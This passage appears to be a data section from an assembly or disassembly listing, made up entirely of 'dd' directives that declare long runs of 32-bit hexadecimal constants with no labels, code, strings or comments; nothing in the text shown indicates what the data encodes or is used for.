0BD4D593Dh, 1E6F1EFEh, 42B70EB4h, 0B789C367h dd 6F54DD3Dh, 65659878h, 0D04CC22Ah, 2B4789EDh, 2B60F6C5h dd 22641153h, 1C934F6Fh, 3A3C17D2h, 53DB4B0Bh, 0C3BCAEAh dd 0FF1170DDh, 0DF4FA3F7h, 6766532Bh, 0B3A26E62h, 289E056Fh dd 0CC55A65Ah, 5D15DE04h, 84D83254h, 90A32D4h, 1458A4CCh dd 73FA320Dh, 9044E50Ah, 94D8FFA2h, 36DAECB1h, 4B0A4CCh dd 8E1D9CDFh, 42D33F6Bh, 74D89B4Ah, 36D4B2DBh, 22B0A4CCh dd 0A8A4C5A9h, 6A79E76Dh, 4B21419Ah, 50505366h, 37B441D6h dd 8F2B7DFBh, 22E92193h, 8B3383C5h, 8994D978h, 0FB481F36h dd 7ABA4F56h, 13358A99h, 0F52D3E70h, 0F8343CFEh, 26541532h dd 0BFB27CE6h, 0F628297Bh, 6CC62A65h, 9BFDF9D8h, 15BB5C37h dd 0E44CF333h, 0B372A8F9h, 0CC48E35Fh, 60998454h, 0E87DD1F3h dd 98A7FA93h, 0F13348A9h, 0F7F5A3E6h, 317D0B30h, 42641153h dd 888247CEh, 6352163Bh, 44C922A6h, 0D7658F9Dh, 0E8F9CF40h dd 0F2E615BDh, 6454E04Ch, 0D1F37B7Eh, 6EF9CCC6h, 0A2A6D898h dd 8F9BA28Fh, 2D5B6692h, 454C84CBh, 36F859C4h, 0E330CDD5h dd 7B2A2E6Ah, 0A248BE40h, 44521BD6h, 99DFA53Fh, 0D8390C9Dh dd 7E11AC17h, 0D8CC8CA2h, 5543398Ch, 48A7BFFEh, 0FC074521h dd 4FE2D136h, 53B93194h, 4F23239Bh, 0D1488A43h, 6A50CA6Ah dd 60E67A76h, 0F044B057h, 93273289h, 9FF1E233h, 0A7663A0Ch dd 0E9E0148Ah, 0D66BAB69h, 54CD4CE1h, 0D3787654h, 0E64368D3h dd 0A99A9992h, 0A3D831E8h, 96F7EC27h, 0C8A91CBEh, 27A6FFD9h dd 0A35D9B86h, 454CD133h, 3D0F2B85h, 0EFDADCFDh, 2A662653h dd 0E9EC8B7Ah, 79A5F0E9h, 54CD4CF0h, 0D0CA9FE4h, 8653EF13h dd 0DF046452h, 2668468Ah, 8A72F4F2h, 24696230h, 4CC12A67h dd 7F74E9C0h, 5AD35FAAh, 993554CEh, 0B7A8D3B8h, 0D027F94Eh dd 3377A99Ch, 0CA91A6E1h, 0D44FD2EBh, 66475339h, 0F5A24EA2h dd 0E9BA786h, 0C748A676h, 3F012E08h, 32AE8219h, 5FD95C14h dd 0E948DAC4h, 61D23B01h, 0FE11BEAh, 11978250h, 0A505887Ch dd 8F8120AEh, 2E8078C2h, 80F0A9F0h, 87C24B49h, 0F4097C30h dd 3C5D3E01h, 20940882h, 820908C2h, 0E9DD5546h, 2BEC8AF5h dd 0AEF876Bh, 5F63A73Eh, 923A65D9h, 0EE3B9115h, 23A9E1A0h dd 216AA8h, 0EF220A49h, 0B49A7813h, 91CB7DE8h, 2F8EEA7Ah dd 351D5110h, 0C21F3A93h, 8AF4B507h, 55EC182h, 89E0F86h dd 12270443h, 0FFEA444Eh, 0CC28A205h, 2DC5CBF8h, 88DE6E3Ah dd 0FF2B45B8h, 0F733742Ah, 14613915h, 0B518CCC3h, 2E5F7A30h dd 18C7A698h, 92744C98h, 0C345441Fh, 74989818h, 43C87F94h dd 0FF2018C5h, 8547DF00h, 0C188260Ah, 20CF2703h, 39FAAE8Fh dd 7008E8h, 0A1473DE2h, 81A43058h, 717C58C0h, 755EF8BDh dd 0AF8ACBD1h, 0D7B21C43h, 426743EEh, 0AAB256DDh, 606DD2A0h dd 0AB30A46Dh, 0F1AEDF30h, 83AEB5EAh, 0BE84B491h, 0EEDE83BCh dd 229BB987h, 0B07E008Bh, 0BA81DDC4h, 5C2F080Ah, 54B3D517h dd 0C0EEA541h, 6A42B01Ch dd 0A80BD1E7h, 67643B23h, 2D1DEDDEh, 0FB8A0F14h, 2101ED7Ah dd 8D05A62Dh, 3EEC576h, 75D85581h, 0BB159EA4h, 0EB8BAB8Eh dd 0C4750F02h, 53C5E71Fh, 70674D57h, 1E14419Fh, 0B2BE1A50h dd 51935EF6h, 32EDD204h, 71213A61h, 8398227Dh, 0C48A8EB3h dd 0AEBB7DFh, 7CF8FAFBh, 4D00DD4h, 0D55AE9Fh, 0ABC5F22Dh dd 0F828A436h, 130F77Ch, 0FDF9EBB4h, 0ED5D7F8Bh, 0F485A1E4h dd 0E3E449A3h, 42AEF1E8h, 0BB96CF30h, 8922EB62h, 2F11C4E7h dd 6396AF6Eh, 0A361B578h, 0C70BAA45h, 5CAEA77Dh, 95B44F9Fh dd 0BFA0F2EFh, 0BFD6609Ch, 0AEF2A99Fh, 9E476E9Eh, 8124E7B1h dd 0E52D5860h, 46A1AEF2h, 0FDF1507Bh, 67748948h, 0AE31A0B4h dd 9FFDE3B1h, 89151604h, 0F9B58708h, 20C4567Fh, 2475EF21h dd 0C6A8BA89h, 18FF0ED8h, 0D26FE97h, 77AA18Bh, 816D00F6h dd 9DC60356h, 0D05EBEC6h, 0A3A86BD8h, 7CDB5706h, 0D1A09DBDh dd 0E342542Ah, 0F396D42Bh, 6F0077E1h, 26D0A813h, 3A1D5BC5h dd 171C4574h, 0BD88983Eh, 0FBC8C2C7h, 0A4DADC64h, 0CA230B7Ch dd 4DC71768h, 0FA337393h, 0A2AE9A06h, 10D3E669h, 4620EF3h dd 130A49A5h, 0F604D07Dh, 186B074Eh, 1D9BC67Dh, 9EDCC16h dd 41BD6624h, 3D28544Bh, 279430Bh, 0F96989D2h, 9CC0614h dd 8C5547A4h, 30B1C535h, 0EF76F682h, 0EE23BC08h, 66CA11DEh dd 4E83AD58h, 88ABA958h, 0A10C5A36h, 84324193h, 0E23A55F4h dd 5482A96Dh, 4475C651h, 828C22DCh, 81A81578h, 182259DCh dd 4B0E6166h, 52069469h, 0CA318Bh, 4A7FA273h, 0CC34D0A5h dd 85137830h, 1477D482h, 0B429313Ah, 0CAD1988Ah, 5A648594h dd 0F00C6045h, 445398C0h, 0CE19329Fh, 0C0F507E8h, 819E9245h dd 966A9B60h, 0D71A0FF5h, 0ACB4E40Bh, 91045961h, 0FBEC25A9h dd 77165165h, 0D3FAFAB0h, 0BA295FE7h, 0DA31885Ch, 50D79FAEh dd 547D216Dh, 1183AD5Ch, 0D3EED111h, 155E08B7h, 5A70CC8Dh dd 89DC6CBh, 3BC84075h, 827AC4F7h, 0F2FD988Dh, 0BE0590FDh dd 0ABA36D46h, 2DC890D5h, 0CA2C8675h, 6A9F081Fh, 362C9377h dd 2D562831h, 0C3D5ADDh, 0AAA066Eh, 19B2DDADh, 0BCFE969Ah dd 2D0566BFh, 36FAE21Eh, 7850366Ah, 0CA1CB25Ah, 30BB3EC4h dd 114C552Ch, 379B6C12h, 6D1F428Ah, 743BCE37h, 0F9E25679h dd 2409EAB7h, 11D83B8Bh, 82A16F54h, 0B51C3E05h, 0D33F8B02h dd 76D1C309h, 25CB5F70h, 47680DA2h, 0DF91EEE1h, 8EDA402Dh dd 4168DB44h, 0D13AE4DAh, 0A2D59C6Ch, 0CC5549A5h, 0F2BA0322h dd 77EF1A53h, 57668FA4h, 75847CC2h, 7D4B95FDh, 828D2BADh dd 91C9A441h, 57360469h, 4F7A228Ah, 352A689Bh, 0DB343DB8h dd 168C359Eh, 0A29D29AAh, 5C388111h, 0A4477C16h, 0AEE9D52Fh dd 428AD095h, 9F479250h, 4CF6970h, 1EC18018h, 6A210000h dd 0B43BEF40h, 35B47D8Fh, 1E37983Ah, 0D17B10B6h, 62FAAF96h dd 0E821C88Dh, 28CF269Ch, 391655h, 0F1472F15h, 0E7AA1077h dd 3CE54E15h, 0F07DE5CEh, 4158455h, 0E60096BEh, 74995E5Eh dd 9B4C8EEDh, 0B03E5EBEh, 59AAED04h, 5C0F6FF7h, 2B7EB93Bh dd 74E5982Ah, 0C54211C2h, 0C6AED906h, 7E0DCA84h, 8678C451h dd 42467C8Ah, 82BD00D4h, 2F5F1581h, 66846110h, 28C25181h dd 1F62F77h, 0EFB248E8h, 6432D954h, 6A5E20AAh, 574A88D5h dd 24913D94h, 91D92B16h, 995E74B1h, 4338DF80h, 8A75A473h dd 7D125F44h, 0F9BD29D9h, 0A528051Fh, 4A605A26h, 0C22DCBFDh dd 0C1F867E2h, 0ADEFC9BCh, 0A3FE1B6Eh, 0BA5DFC07h, 8A03281Ch dd 407CDCFFh, 337F0DF3h, 5059FFCDh, 746D1FF9h, 60677D8Fh dd 30E825A7h, 0D98748Eh, 0E0A3FFh, 4998BE8Dh, 31891847h dd 31CA607Bh, 0B114B2BEh, 58581982h, 0B46C55DFh, 0C3F241C5h dd 0F8D038CFh, 87EC9E81h, 1E59D61Fh, 63808630h, 0C55DD569h dd 79C5EAEAh, 5BF8FE62h, 46FEFCC9h, 4C07893Fh, 46019C7Fh dd 92AE47F2h, 0ABD18BDAh, 0E12E11C8h, 0CFF9BDA1h, 0AB2F0A8h dd 43F073B3h, 39169573h, 0F6B09D48h, 0FD9A24F4h, 0FB30ED8Eh dd 0D9B32781h, 24A142E5h, 9DCAE026h, 766BAE9Ah, 0EC3AAB9Fh dd 56FC38CAh, 0D80EB68Ah, 8A62962Dh, 0B1432E8h, 0DEF261B6h dd 74657E54h, 0D2E04F9h, 305EDA7Eh, 0E028D262h, 638AB8C4h dd 200D4FB1h, 0BA0EF929h, 5294AE0h, 98B232EDh, 65BB4876h dd 0F4DBD198h, 4D0F6D11h, 0C6A445D5h, 0BA9F8D3h, 0A96B6E5Bh dd 9FFD8C47h, 60B0EDC9h, 8E4C1C58h, 0E6A989B6h, 1A2F9B68h dd 348FA1FAh, 68EC3BE6h, 330EE5B9h, 478DECAAh, 0C359978h dd 4F33DA2Eh, 0B58C3990h, 230AE9B6h, 13CFADEBh, 0F54DCB57h dd 34DE3279h, 0D4843490h, 3C4DAA26h, 0B4D8DB49h, 4F13B494h dd 7992CA6Fh, 29B669A2h, 0A5094F34h, 3C2ABD37h, 0D34DB481h dd 37A29E7Dh, 3F092C15h, 794788E4h, 0DBA8EA52h, 0C04CF42Bh dd 7213C039h, 83F9E226h, 95D83A08h, 2EBCC67Fh, 8C18EBFEh dd 793BECE9h, 0C1980042h, 2A9909Ch, 0F176AB6Bh, 7C643D67h dd 793BF456h, 3F9841BEh, 0F8447D2h, 7C17844Ch, 12D50FA1h dd 0A7D55652h, 1199067Fh, 4BEB9570h, 0BFA459F3h, 84D4DB4h dd 1590D34Dh, 0C928EFA7h, 6E3F37B5h, 0D54DE7AEh, 4EE54885h dd 0A4DCF14Dh, 5404D780h, 7D1C7E95h, 45181C3Eh, 7FE7DE1Dh dd 2B41245Ch, 205C4C09h, 5B4DEB38h, 883098C7h, 58C7B24Eh dd 9BC51E70h, 8C05DB9Eh, 1592D34Bh, 0F0C42EA7h, 1B4D1D34h dd 53C5DB4Fh, 79970FCAh, 0B565DE9Fh, 0DA7E3666h, 974E30EEh dd 0B6E3910Bh, 0DAC434A2h, 0ADAC27ABh, 0A3DB62E8h, 82454D8Fh dd 418B0459h, 0A668C64Fh, 0A3CF0440h, 8D2C7C63h, 881BA2A9h dd 1F8807BAh, 5DEB1D1Ah, 393A1B4h, 958645E6h, 0D4281829h dd 0A84D1216h, 0A531006Dh, 1F9C8FA7h, 0AFB598ADh, 169C4998h dd 0DB341966h, 3542D2A6h, 7565F198h, 518B5A09h, 7A79F9C2h dd 3530354Fh, 0D501FE4Dh, 3D6FC4F2h, 0F2D1B442h, 574EE8F6h dd 17D881A8h, 14817D16h, 16570DADh, 47587A90h, 362444AFh dd 4C9DCDB5h, 294E6F5Dh, 749E4541h, 8C4C2A2Dh, 0C4265A21h dd 0BA6DEDA9h, 2D10DA9Ch, 1CE2A54Fh, 34DB460Fh, 301D279Dh dd 0DD95C29Eh, 0E0E38BBDh, 14C9F5F3h, 0B7960B2Bh, 57B9DD1Ch dd 79DD6F5Bh, 967C7B61h, 61661D45h, 5FD1FD03h, 0B1C68D68h dd 2A59A3A3h, 6BA35579h, 0CCE3FAC8h, 0A46C0C2Dh, 31942ABCh dd 0A8CCC077h, 9896CC3Eh, 0E1F5E34Ch, 77B95C57h, 0A9329896h dd 0D1BC09E8h, 0E557A542h, 62756273h, 0E7BE9CCEh, 0CDC2759Fh dd 0A4D5626Bh, 0D5843A3Eh, 8ECB721h, 1B3F07A8h, 8FACFF66h dd 3F07DB87h, 95F4D0B4h, 47E29F05h, 0B4BE0A0Fh, 0C5D5EBABh dd 0B8F0A42Bh, 0F1F5734Ah, 97D148A5h, 0E96588D5h, 1F09B172h dd 0C515F42h, 0C0CB6AA1h, 0DE89A525h, 987A1743h, 91BBBEB1h dd 0C5C13E02h, 94820F5Eh, 7794C522h, 0C92F7CAAh, 8BE8E77Fh dd 6B6AD11Ah, 0A2FAFBAAh, 0ABFE8C2Ch, 0ECBE1E2Dh, 77383054h dd 475290D7h, 5E83C894h, 0EB45F071h, 42EAEF6Bh, 16CA72FAh dd 804C2FA4h, 897DFD4Dh, 0B44E48D4h, 155E15E4h, 862FE234h dd 0E2FA3DD6h, 3896A2E8h, 0A77D496Ah, 97D18011h, 660369FFh dd 1F797C5Eh, 885618F8h, 4C8F956Ah, 4C57F4BFh, 7A6CC1C9h dd 0E3A6E45h, 0AB9F8B91h, 663BFA24h, 6E7FCB45h, 4D644157h dd 7CA54682h, 7F113505h, 791E96D4h, 7947D9D6h, 2D475FEAh dd 4DB674BDh, 14E5F195h dd 61477F05h, 43E795E0h, 42815A85h, 15D653C0h, 0A5FE0B85h dd 595798BAh, 0AA2F5126h, 0BF023B46h, 59883E4h, 0A95E23BBh dd 8886064Fh, 0BE5576D5h, 62D87760h, 43BB86C0h, 314A1548h dd 94B8088Ah, 0FCA2ACA6h, 88C2ABE1h, 4983AB85h, 6C952130h dd 1623FFB1h, 0AC3C3347h, 0C0328E89h, 29AE8F29h, 0C975895Bh dd 0F5987301h, 7FB45579h, 0AED021D1h, 0A2E8D422h, 0A26182CBh dd 81E299CFh, 0CD22ED2Eh, 0E23B0201h, 0F36661h, 0ECB88D26h dd 0E2C001A4h, 118A473Bh, 0D8CD029Eh, 58318015h, 77C5477Ch dd 0B77C827Ch, 33F18014h, 89C65818h, 0E09FA165h, 1E770739h dd 18951850h, 5D6DC583h, 63BB47F9h, 0A6702301h, 70374AA8h dd 6F9263B3h, 0E8E5D6C7h, 3DEB73h, 15F80599h, 89E4DCE0h dd 3EA2C86Ch, 0C08E381h, 2D0660h, 0B4ABAEAh, 6D946467h dd 401AC340h, 4026796Ch, 6D7D50F9h, 100C5911h, 774895E8h dd 0DB2A61EDh, 0A918E603h, 7A084F68h, 63582AC2h, 0A25845E0h dd 0A0120C4Bh, 3E0AB04Bh, 4436068h, 4AE06074h, 64BFE003h dd 0E6CE380h, 768CDDACh, 8BE6521Ch, 5FC471F6h, 80B90496h dd 7635A9A4h, 4ED17C1Bh, 96A4B89Ch, 97AE6C08h, 0AE6FAA0h dd 0C92AF8D0h, 6159034Ah, 181C11E3h, 32691F48h, 2A1E6493h dd 0CA7C4058h, 87C92F94h, 45B1936Bh, 0FE5E1187h, 0C61860AEh dd 0ABFBE82Bh, 0BBDC7E51h, 8866EC9h, 517B74D2h, 0DC96DD2Ch dd 0C2CE324Ch, 498A0480h, 1E008D68h, 0CFDE6F1Ch, 0F1415655h dd 0D770BACBh, 34076ABh, 0DBBC1B0h, 282E6192h, 6A374226h dd 0C10AF10Ch, 1DCAE4Ch, 0E6608C0Dh, 0D09E6580h, 0A3A018h dd 0CCC570B6h, 0A1641A0Bh, 743286CAh, 9A83498Eh, 0CC980E70h dd 11D26DCBh, 8D386A5Bh, 0C919D89Bh, 0C9E200ECh, 1F93857Fh dd 82C561CDh, 1121421Fh, 2300025Eh, 21EB5CACh, 781D5A2h dd 0D3037DE0h, 0EC2482B8h, 968600D4h, 38A1EE85h, 9A91C8A2h dd 1225C231h, 0DB1A00F0h, 0F72EFCA0h, 1FEEA9Dh, 0E80E8383h dd 4A312C2Bh, 65A33643h, 7A316981h, 0F213AF15h, 27CA1A7Bh dd 0EB996892h, 0A10C16ECh, 0E26B528Dh, 0BF579E38h, 14DE287Ah dd 0E6C1D5FAh, 0F38A9B22h, 15514A0Dh, 0B9CE8A95h, 8568D65Eh dd 0B032950Bh, 0CD18A2ACh, 5D71FB6Dh, 7B0899F0h, 5127797h dd 9C4F455Ch, 0D13F0C4Fh, 0A5D66EFBh, 0CAB74417h, 4406F82Ah dd 0C0972A22h, 8290EB50h, 8DB5862Eh, 0E8BFAB5Ch, 57E0EE71h dd 725D4042h, 9FAEA0B2h, 0E3C86A17h, 9805DC82h, 6F82AF2Fh dd 1BF09884h, 0B15926B1h, 68492059h, 0EE32815Dh, 908A7193h dd 12F37673h, 0EBA4D896h, 0A2CD8099h, 62553130h, 63EF557Ch dd 0FDCCE588h, 0AE633760h, 5F8D3312h, 29A15159h, 0D68B7C8Ah dd 0D16532F1h, 39DDA97Fh, 0A6FC5ECFh, 0E5F8818Ch, 0BE5E2CC0h dd 0E2BE57CBh, 27FCEDC8h, 218566F3h, 0EDBC7819h, 434158D0h dd 632E7579h, 5D789E57h, 0E33EFE20h, 160FE845h, 28B6B479h dd 7E5691FBh, 5B9199F5h, 0B547E774h, 86A283B4h, 698C2D1Ch dd 0E639258Fh, 3D5A4CD0h, 5AD87416h, 68C120AAh, 1CA4CF12h dd 0CC15952h, 696D8848h, 5D2917D2h, 3AB2A51Dh, 266B5481h dd 0E460667Bh, 0C8F2CA65h, 3B819543h, 0C1A1970Ah, 813F60AFh dd 4E834881h, 38859108h, 1BFB2A2Dh, 0E2804A2Ch, 0ACA0014h dd 0C25C3344h, 68C6ECB3h, 0E0DDEE90h, 0C5531630h, 8A443101h dd 35E27E98h, 369149FFh, 0E92B0FA1h, 0F93C4A04h, 35E89FAFh dd 1DBE8ABAh, 0FA8E0893h, 0DCF559DBh, 0EAAA1439h, 73926E33h dd 0CA8E01B4h, 0B8AFAF9Bh, 696EACC9h, 0C4CB9682h, 0C0950BE2h dd 4356C17Ah, 2A5288A2h, 79801540h, 1AF78700h, 0AA86D276h dd 998D58CAh, 7E0E74C0h, 2DB5A241h, 16F3B999h, 2962B45Fh dd 2DE428C7h, 0CD9A22BAh, 2F8FBCBAh, 5CC1470Fh, 0E8E392C1h dd 4C7534E0h, 7B1C161Dh, 143B29D2h, 5C78509Ch, 2C408DD2h dd 5D86281Bh, 98EE37D1h, 3AC28C34h, 0FC21400Ah, 18A6F290h dd 0D6162576h, 0EA380619h, 0C6A8131Ah, 9A0EF3B8h, 52B8C102h dd 8C175BA9h, 3BF6A1DDh, 0DD98A2ABh, 0DCCD180h, 524821C7h dd 35538631h, 631C1394h, 3BF56FF8h, 959E9022h, 0A93C9A96h dd 5D68C67Fh, 6B95C3D6h, 759C079Bh, 0C38DCB92h, 450E7148h dd 2A98FF53h, 0E3064C87h, 0D4FD263Ah, 651D9175h, 0E5D2A0A7h dd 5355EF5Eh, 377C6B71h, 9F7947D4h, 95078A5Ah, 39F57ABFh dd 74C2D450h, 0F571172Eh, 74CA9650h, 0E6319232h, 2603D9FEh dd 0FB29495h, 0BD13C2F8h, 482F4AFDh, 5695F604h, 8734010h dd 78AA236Ch, 0EACBEF62h, 95396EB8h, 0E968E2Ah, 0CC30135Fh dd 782368E6h, 56F7F88Eh, 50525551h, 0F8B75255h, 4ABF9953h dd 8EA81A84h, 0E4EFE495h, 8E4CF4CBh, 0D3CC4232h, 0B0D748D2h dd 97CE0758h, 743451EAh, 9B46E4B4h, 0DD662A54h, 6F1F1D67h dd 9D382633h, 0E3FA6544h, 0CC073D26h, 0CADCD5DBh, 54FBB2F8h dd 0FD68B603h, 0F8DBA4C8h, 345781AAh, 278B27D1h, 0BBE38FAFh dd 5BAD4509h, 2E7228A3h, 557CC8E7h, 0F0500B76h, 26734113h dd 34418DEh, 980E688Ch, 2E66983Ch, 6C11983h, 6184B4BBh dd 9D87B8D2h, 38C0601Ah, 9053DCEh, 0DBBC705Fh, 74E2568Bh dd 36A85D84h, 26DD7AF9h, 89011E2Ch, 0C05395DAh, 8A3534EBh dd 0BD508B80h, 4451048Eh, 9F0562ACh, 9E656639h, 0EC660775h dd 0D16407B9h, 57E7E4D2h, 0D4CE650h, 73C99137h, 0AB59284Bh dd 0F5814220h, 28E04431h, 3068DE62h, 8FEA3D2Fh, 5B956F59h dd 0E675E421h, 0E3E1D3BFh, 8E391E04h, 0FD36758Bh, 0BA273C6Fh dd 73480FA9h, 0EE1AC180h, 8C5DFAC8h, 0FA9B4C30h, 9E111BE0h dd 49D8A302h, 0A5FB7300h, 63EA983Eh, 93288C12h, 0A8DC5FA1h dd 0CF36E061h, 0DA6118C0h, 4EC61262h, 0CEBDF537h, 7D6B11Eh dd 57ABD15Fh, 0DD217674h, 27736480h, 0F692CBE8h, 34C52436h dd 6E63CA4Eh, 1A853012h, 0E2E80D6Ah, 50C5C5Fh, 0BBCA8AEDh dd 0F77B17DEh, 0DCFB82D9h, 4D7F9B65h, 460A1373h, 0C2A4418Dh dd 30313AA2h, 4126CBABh, 0F0C2D39Bh, 26235F9Bh, 7E114229h dd 0F9192FCBh, 55EDCDECh, 6AFC83B6h, 0C9DF5BDh, 85EC6736h dd 5A8B21D7h, 3C2862F5h, 0F5F8B862h, 0BAEFE88h, 0B90077CEh dd 62CFCBF8h, 16A989B8h, 0A303E609h, 2D16316Bh, 0F8464B4Eh dd 0D6F9C62Dh, 0F7B6D8B4h, 49F2278Eh, 37A9B6E1h, 0D4A87FE0h dd 0E6299FE4h, 5CA67F91h, 6DFC79CEh, 0AB167F93h, 6BE50982h dd 895625EEh, 8718C398h, 124F7F0Dh, 0CAA23ADh, 0D6BE5AAAh dd 0E5B705FAh, 7EA553DAh, 958DA55h, 0A5DD27FEh, 6E931DB7h dd 149C53B5h, 2EB40161h, 0AF376B40h, 116F55A5h, 0FD249E52h dd 0BFC55E8Dh, 947FCE62h, 0E525D6A3h, 0CADFCC25h, 0F27B966Fh dd 3716F0DFh, 0E28E4776h, 0FCEFFA7Ah, 0ADFBA9A5h, 0B97016DCh dd 3052B604h, 0B5428ABBh, 0F666A9FCh, 0DA519F11h, 3F0FB39Eh dd 0ACB66DEDh, 398BF9AEh, 0DF8BCD6Ah, 5D416FCBh, 9B624412h dd 5AA8754Ch, 0D0FC4EF0h, 5F1BA4E9h, 78A92689h, 0C943A452h dd 0FD2BA031h, 770012A4h, 0BE0B476Ch, 270212D2h, 0C3FF0346h dd 44767C73h, 1EFE41FAh, 0E0EADA78h, 0D779C8E6h, 724C232Fh dd 0C8BE4BBFh, 0FE1AF75h, 2FD66663h, 1CFC445h, 32CE1371h dd 744313E2h, 1A8B9D07h, 1CD7B143h, 79D15A3Ah, 529BDC3Eh dd 0C6DD8C51h, 10455CE1h, 9F7018EAh, 0FF0B413Bh, 2063D259h dd 0E977A7B0h, 8A7B0857h dd 82A88361h, 9F4501A4h, 0D6108432h, 0BC5EC81Bh, 54EFE7D2h dd 3BD50C87h, 122F16F8h, 738C5A8Ch, 7D0F3BD6h, 1B8E11FFh dd 68AB436Dh, 99956B0Bh, 5C90A52Bh, 80071B44h, 0E8260E0Eh dd 0F4563D8Ah, 0B5B4A185h, 34657B83h, 882E6918h, 1017C16Ah dd 58884D84h, 0D9A53997h, 0B03B1205h, 543AB62h, 40D160D3h dd 1450CC9Ah, 245AEE11h, 6983EA50h, 29800C84h, 57CA4520h dd 18052D19h, 0D684C5Eh, 7AB9A2AAh, 0F031CE31h, 112DBA46h dd 2BF66D86h, 0E211906h, 8A2A8607h, 0DE451BE8h, 1A8F206h dd 34E91DE4h, 6090DD6h, 0C1F2A298h, 8B269C54h, 2C16BCBEh dd 32144398h, 0F43489E8h, 26097605h, 0B9E8134h, 2FA39026h dd 0BA738CB0h, 110B05C3h, 76D1AA53h, 0ED7E288Dh, 0DC321F8Bh dd 3ECF5FE7h, 0C0A27827h, 63025FACh, 92562CB8h, 0E3A92CEBh dd 0A1D27132h, 0E212EE54h, 0AB334EC0h, 2B5DE063h, 0ED829C28h dd 2EC61830h, 9A473976h, 30E7E249h, 595F3F4Ch, 2F4B56A3h dd 7AEC61CBh, 8C6E39AEh, 4F628C17h, 0E0019375h, 9E30FD3Ah dd 9009B8C5h, 0BA8080F4h, 0C8FF77B4h, 0B322773Bh, 2BE630CDh dd 4628BC4Fh, 0C4E6519Fh, 0D18D322Ah, 9F400C6h, 0F5226CDDh dd 0C2366D88h, 8314294h, 94C26EF9h, 3A15D9E2h, 25759648h dd 0EC2F7B47h, 0EDE42CDCh, 0FF17F1DAh, 0C8DB5764h, 0B0C9710Fh dd 8B2E366Ch, 77C66A3Fh, 4FCA3B71h, 13374BDh, 0F30C7C6h dd 0BD284E10h, 0D5741A2Dh, 60391C86h, 9E45CEDCh, 3F2F15D2h dd 0F5B1CFDBh, 3123A5BCh, 0A0308437h, 0B3F8DEB7h, 0A6B3B3A6h dd 6FD8B645h, 29CBF88Fh, 0B3C40DC6h, 391C57F5h, 0A9660536h dd 0E82A55D2h, 2991838Fh, 4C5D773Fh, 0A9C50B4Bh, 740FD8FCh dd 0E27469CAh, 0EA71B969h, 3A0E1673h, 51453CFCh, 18618B7Eh dd 0D687EE87h, 0C58996ADh, 5404CF1Fh, 0E44E186Ah, 7A9ACFD2h dd 142ADDD8h, 0AEF0A8Ch, 0A9CC2CDCh, 17A012B3h, 5C25A01Bh dd 92B24C95h, 0C0E81BD8h, 8400548Bh, 4B73ABB0h, 0FE8BD2ABh dd 603021C8h, 0A02A2D0Ah, 0E23481BEh, 9E81995Fh, 60966984h dd 124C2175h, 8D8080A6h, 4D848530h, 0ADAB86h, 0C61DF86Eh dd 7981D6B5h, 62B0C60Ch, 0E564C4A7h, 448B960h, 51B7DCDAh dd 818E1862h, 0D2E20971h, 549B0380h, 55C855DCh, 5061FDFAh dd 4CE8994Ch, 0F35E202h, 0D66C619Dh, 97517EC7h, 0EE220C5Ch dd 1CE7A5EEh, 0AF895A2Fh, 165C8309h, 4BAD778Fh, 0C1B21FA3h dd 22CBEC2Ch, 0E750A306h, 795DB940h, 97EE5888h, 0D6571BE9h dd 115DBAC2h, 0D2ABEE44h, 0AA83E326h, 0DE9025C8h, 0B30EDB3Ah dd 65C4EF36h, 0DEEDE2AAh, 3DE2781Bh, 0A5690958h, 2742F1A3h dd 0E0DCE4FAh, 0B9541146h, 0D6FA9A8Dh, 0B3CD268Ch, 28263ADCh dd 0E01B246Fh, 130CE7D1h, 931A4581h, 4138BA3Dh, 13776B30h dd 41D66830h, 8803698Bh, 1236C3F2h, 3CDC4CD4h, 21972837h dd 0FB7E1B9Ah, 91C54FB0h, 0EF469571h, 4496B036h, 0B023D782h dd 62C34048h, 2E5D77E4h, 0EE54AC46h, 4CAE7989h, 4B5CD15Fh dd 5D2FA02Bh, 48ABCA03h, 6A036A0Ch, 3318CC06h, 1CD45CBAh dd 0C23026C4h, 3E531F31h, 4C50FCA3h, 89A43807h, 1D2D8305h dd 9AD54F98h, 0E60C11E9h, 59F5CBD0h, 0F12DF297h, 11D8C416h dd 487AAEB0h, 0CD38FB33h, 5C06EF2Ch, 0F846B650h, 526F8349h dd 0ED226092h, 28199AA5h, 0E05D580Dh, 8D0D32A0h, 3141DA25h dd 2334AB44h, 0A9127ED5h, 0B873C9Ch, 713033E9h, 7B93F100h dd 0B3957D21h, 99570864h, 0E3ACD075h, 0E3214549h, 0D6716CBEh dd 277FA671h, 0CAEAED02h, 35BF5A06h, 0D1183BAEh, 886DA7A0h dd 2FDC6549h, 81DEA38Ch, 0A1DFACAh, 50A5CABBh, 14E63457h dd 4631519Ah, 54576C15h, 4555947Fh, 6088502Ch, 9FF0AE74h dd 0A28CF5D6h, 0AE289BD8h, 12B388B6h, 8D3EC9CCh, 12B802C2h dd 6CA2FF6h, 0FAD22C2Ch, 0C8443E78h, 0C39DD4BAh, 0CEF0BAC7h dd 0E43D4442h, 2C091A2Eh, 14203809h, 0B211CFA9h, 378B12AEh dd 0C82AF740h, 4E612FF6h, 0E41BA81Dh, 0BEE094CAh, 0E4FA5D6h dd 1BCDE34h, 0E622B8AEh, 44F55D14h, 0E2471657h, 5DFF0C2Fh dd 1C4D81BAh, 0A2232C68h, 0B31E2229h, 10FB86EAh, 7E1FA5A2h dd 0CB508BBEh, 146C491h, 0F718C6C4h, 25E40A6Dh, 7111B715h dd 31FFE62h, 0E453A1BBh, 88EAA211h, 0FAC1E084h, 5751BA93h dd 0E0B3E926h, 0E97DF47Bh, 130B8A02h, 55A38308h, 70EDA30Fh dd 4D1149CEh, 0EF7876CEh, 7FB76922h, 1FC41904h, 831A773Ah dd 50E774C5h, 15538829h, 4BCCA255h, 71AF037Bh, 240257D8h dd 4C78AEAh, 0FD22DC9Fh, 0C5E150DBh, 0BFB03DF8h, 0F2F04299h dd 0BE1A0782h, 8C03EFDEh, 0EF484C30h, 29D34E2Dh, 0A7F19E7Bh dd 0DA3C030Ch, 8250D84Fh, 6230C0F3h, 189EA9Bh, 8E6F468Bh dd 8BFF973Ch, 8B0B4208h, 35BA3D49h, 0C3F67533h, 4A6628E5h dd 0FE238803h, 0A6666942h, 5A998064h, 8CCAD45Fh, 42FE8330h dd 5EDA6619h, 30802294h, 0DC4798C3h, 980A8093h, 0A61B14CAh dd 0B981D4CAh, 62A8860Bh, 0C02CC49Eh, 6BBEBEC5h, 0C4B8FDA4h dd 1C00496h, 298FC091h, 0FC9A594Fh, 201E2553h, 0F81204F6h dd 37DA0D04h, 495D77C7h, 20A0D01Ah, 648C5026h, 81132CF4h dd 59748A32h, 17642F51h, 